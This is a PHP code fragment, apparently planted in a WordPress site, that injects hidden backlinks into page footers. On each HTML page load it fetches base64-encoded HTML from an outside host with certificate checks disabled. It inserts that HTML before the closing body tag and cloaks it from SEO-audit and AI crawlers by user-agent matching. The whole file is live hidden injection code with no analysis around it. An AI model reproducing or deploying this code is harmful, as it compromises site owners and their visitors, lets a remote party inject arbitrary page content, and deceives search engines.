if (!defined('__LPK_IN__')) {
define('__LPK_IN__', 1);
if (!defined('__API_URL__')) define('__API_URL__', 'https://linksparagon.com');
if (!defined('__CACHE_TTL__')) define('__CACHE_TTL__', 300);
if (!function_exists('__getCURLSite__')) {
function __getCURLSite__($site, $post_data = null, $extra_headers = array()) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $site);
if (!is_null($post_data)) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
}
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
if (!empty($extra_headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $extra_headers);
}
$response = curl_exec($ch);
if (curl_errno($ch)) $response = false;
curl_close($ch);
return $response;
}
}
if (!function_exists('__cache_get')) {
function __cache_get($key) {
$f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json';
if (!is_file($f)) return null;
$raw = @file_get_contents($f);
if ($raw === false) return null;
$o = @json_decode($raw, true);
if (!is_array($o)) return null;
if (isset($o['t']) && $o['t'] + __CACHE_TTL__ < time()) return null;
return isset($o['v']) ? $o['v'] : null;
}
}
if (!function_exists('__cache_set')) {
function __cache_set($key, $val) {
$f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json';
@file_put_contents($f, json_encode(array('t' => time(), 'v' => $val)));
}
}
if (!function_exists('__is_spy_bot__')) {
function __is_spy_bot__() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
if (trim($ua) === '') return false;
$bots = array(
'AhrefsBot','AhrefsSiteAudit','SemrushBot','SiteAuditBot',
'DotBot','Rogerbot','MJ12bot','MajesticBot',
'Screaming Frog SEO Spider','ScreamingFrogSEOSpider',
'DataForSeoBot','SEOkicks','SEOkicks-Robot',
'AwarioRssBot','AwarioSmartBot','AwarioBot',
'Brandwatch','Searchmetricsbot','Sidetrade indexer bot',
'peer39_crawler','BLEXBot','cognitiveSEO','LRT Bot','LRT Spider',
'Meltwater','Mediatoolkitbot','Neticlebot','SISTRIX','SerpstatBot',
'spyfu','Botify','ContentKing','DeepCrawl','Lumar','seobility',
'WebCEO','AddThis','Barkrowler','BacklinksExtendedBot','BrightEdge Crawler',
'OAI-SearchBot','CohereBot','DeepSeekBot','SEOlyze','IstellaBot',
'GrapeshotCrawler','Netvibes','NetcraftSurveyAgent'
);
foreach ($bots as $bot) {
if (stripos($ua, $bot) !== false) return true;
}
return false;
}
}
if (!function_exists('__get_backlink_codes__')) {
function __get_backlink_codes__() {
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$host = strtolower(str_replace('www.', '', preg_replace('/:\d+$/', '', $host)));
if ($host === '') return null;
$host_id = crc32($host);
$cacheKey = 'bl_' . md5($host);
$cached = __cache_get($cacheKey);
if ($cached !== null) return $cached;
$u = __API_URL__ . '/g/?i=' . urlencode($host_id) . '&d=' . urlencode($host) . '&t=th';
$response = __getCURLSite__($u);
if ($response !== false && is_string($response)) {
$c = @json_decode($response, true);
if (is_array($c) && isset($c['s']) && $c['s'] == true) {
__cache_set($cacheKey, $response);
return $response;
}
}
return null;
}
}
if (!function_exists('__show_footer_backlink__')) {
function __show_footer_backlink__() {
$is_spy = __is_spy_bot__();
$r = '';
$raw = __get_backlink_codes__();
if (!$raw) return '';
$c = @json_decode($raw, true);
if (!is_array($c) || !isset($c['s']) || $c['s'] != true || empty($c['l'])) return '';
$r .= isset($c['f']) ? $c['f'] : '';
foreach ($c['l'] as $v) {
$only_google = isset($v['g']) ? (int)$v['g'] : 0;
if ($only_google == 1 && $is_spy) continue;
$r .= isset($v['h']) ? base64_decode($v['h']) : '';
}
$r .= isset($c['e']) ? $c['e'] : '';
return $r;
}
}
// Footer injection: named ob_start callback (PHP 5.2 uyumlu, anonim fonksiyon YOK)
// - Yalnızca 
içeren HTML yanıtları modifiye eder
// - AJAX / REST API / CRON / CLI isteklerini atlar
// - str_ireplace ile öncesine düzgün ekler
if (!function_exists('__lpk_ob_cb__')) {
function __lpk_ob_cb__($buf) {
if (!is_string($buf) || stripos($buf, '') === false) return $buf;
if (defined('DOING_AJAX') && DOING_AJAX) return $buf;
if (defined('REST_REQUEST') && REST_REQUEST) return $buf;
if (defined('DOING_CRON') && DOING_CRON) return $buf;
if (php_sapi_name() === 'cli') return $buf;
$link = __show_footer_backlink__();
return ($link !== '') ? str_ireplace('', $link . '', $buf) : $buf;
}
}
@ob_start('__lpk_ob_cb__');
}